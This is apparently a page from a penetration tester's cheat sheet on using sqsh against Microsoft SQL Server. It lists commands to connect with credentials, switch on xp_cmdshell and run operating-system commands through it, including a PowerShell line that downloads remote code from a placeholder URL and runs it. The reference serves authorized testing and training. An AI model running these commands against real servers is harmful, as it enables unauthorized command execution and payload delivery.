> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/misc/02-sqsh.md).

# SQSH

> Sqsh, short for SQSHell, is an open-source substitute for isql, the interactive SQL client supplied with Sybase's Adaptive Server Enterprise relational database management system.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Sqsh)

-> Can be used for MSSQL / SQL SERVER

## Basic commands

```bash
sqsh -S <ip> -U <user> -P <pw>
```

```
xp_cmdshell 'whoami'
go
```

```
xp_cmdshell 'whoami / priv'
go
```

```
xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString('<url>')"
go
```

Enable xp\_cmdshell command

```
EXEC SP_CONFIGURE 'advanced_options', 1
reconfigure
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go
```